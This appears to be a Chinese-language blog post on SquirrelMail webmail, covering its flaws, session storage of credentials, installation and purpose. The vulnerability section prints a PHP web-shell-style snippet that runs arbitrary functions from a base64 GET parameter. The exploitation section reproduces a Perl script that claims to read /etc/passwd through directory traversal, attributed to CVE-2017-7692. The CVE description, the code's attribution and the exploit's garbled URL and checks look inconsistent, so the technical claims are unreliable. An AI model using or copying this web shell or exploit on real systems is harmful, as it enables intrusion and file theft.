一、Squirrelmail漏洞
Squirrelmail是一款較為安全的webmail軟體,然而在實際使用過程中仍然可能存在漏洞。例如,2017年Squirrelmail 1.4.22版存在遠程命令執行漏洞,只要攻擊者向Squirrelmail發送特殊形式的郵件,就可以在系統中執行任意命令。
<?php
//解析郵件信息中傳遞的參數
$o = unserialize(base64_decode($_GET[『_POST』]));
ob_start();
@call_user_func($o[『func』], $o[『args』]);
$r = ob_get_clean();
//輸出命令執行結果
echo base64_encode($r);
?>攻擊者通過構建特定郵件,使得Squirrelmail解析該郵件時執行「_POST」參數中傳遞的命令,通過base64編碼後將命令結果輸出。
二、Squirrelmail用戶名密碼存在哪裡
Squirrelmail用戶名密碼並沒有保存在程序中,而是通過PHP的Session保存在伺服器上。當用戶首次登錄時,Squirrelmail會生成一個PHP Session,將用戶的用戶名和密碼以及其他信息存儲到Session中,然後通過cookie將Session ID傳遞給客戶端。在用戶後續的訪問中,客戶端會將cookie中的Session ID傳遞給伺服器,伺服器通過Session ID獲取用戶的信息。
三、Squirrelmail安裝
在Linux系統中,可以通過apt-get命令或yum命令快速安裝Squirrelmail。對於Debian和Ubuntu系統:
$ sudo apt-get install squirrelmail對於CentOS和Redhat系統:
$ sudo yum install squirrelmail然後需要安裝web伺服器(如Apache)和PHP解釋器,配置好伺服器後就可以通過http://server_ip/squirrelmail訪問Squirrelmail了。
四、Squirrelmail是什麼
Squirrelmail是一款郵件客戶端軟體。與Outlook等傳統郵件客戶端不同,Squirrelmail是一個基於web的郵件客戶端,用戶直接通過web瀏覽器訪問相應的伺服器就可以讀寫電子郵件。
五、Squirrelmail漏洞利用
除了遠程命令執行漏洞之外,Squirrelmail還存在其他的漏洞,如信息泄露漏洞、XSS漏洞等。在進行Squirrelmail漏洞利用時,攻擊者通常會尋找Squirrelmail的漏洞報告以及相關的Exploit工具。例如,以下是一個Squirrelmail信息泄露漏洞的Exploit:
# Exploit Title: SquirrelMail 1.4.22 - Directory Traversal / Information Disclosure
# Exploit Author: LiquidWorm
# Date: 2017-03-22
# CVE: CVE-2017-7692
# Vendor Homepage: https://www.squirrelmail.org/
# Version: 1.4.22 and prior
# Tested on: Apache
# USA: http://www.zeroattack.com
# ITA: http://www.jimmymaker.com
#!/usr/bin/perl
# SquirrelMail 1.4.22 Directory Traversal Exploit
# by LiquidWorm
# dd 0803
use LWP::UserAgent;
print "\n[+] SquirrelMail 1.4.22 Directory Traversal Exploit\n";
print "[+] by LiquidWorm\n\n";
if(!$ARGV[1])
{
print "[+] Usage: perl $0 \n";
print "[+] Example: perl $0 http://mail.example.com/ ../../../../etc/passwd\n\n";
exit;
}
$url = $ARGV[0];
$file = $ARGV[1];
$file =~ s/\//%2f/g;
$file =~ s/ /%20/g;
$file =~ s/\\/%\\/g;
$host = $url;
$host =~ s/http:\/\///;
$host =~ s/\//%2f/g;
$url .= "src/right_main.php?PGVwXE5hbWU9J3NpbXBsZS5waHAnJzs%2fZXhwaXJlcz0xMzgxODQ1Njc2O2NvbnRlbnQ9JyZmb290ZXJhYmlsaXR5PS9iYXNoJyt0aW1lc3RhY2suY29tJytzZWNyZXQmZmRhdGE9JyZmaWxlJytmaWxlJy85LycuJyUyMGENYXJpYWwnO2V4cGlyZXM9MjtzdHJfcmVzdWx0PSZ0aW1lc3RhY2suY29tJytzZWNyZXQmZmRhdGE9J1snK3RhcmdldCddJytmaWxlJyUzQyUyRkVHSU4%3d&sort=0&startMessage=1&mailbox=INBOX&passed_id=&ent_id=0&actionID=&_list=1&_right=1&mailbox=foo%0aAttacking#$file\@localhost";
$agent = LWP::UserAgent->new() or die;
$request = HTTP::Request->new(GET => $url);
$response = $agent->request($request);
if ($response->content =~ /!!Cannot open.*/)
{
print "[-] File not found\n";
exit(1);
}
if($response->content_type =~ /text\/plain/)
{
print "[-] Not a plaintext response\n";
exit(1);
}
@rcvd = split(/\r?\n\r?\n/, $response->content);
syswrite STDOUT, $rcvd[1], length($rcvd[1]);
print "\n\n[-] Done\n";該Exploit通過訪問Squirrelmail內置的right_main.php頁面來利用目標主機上的目錄遍歷漏洞,讀取指定文件的內容。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/181613.html
微信掃一掃
支付寶掃一掃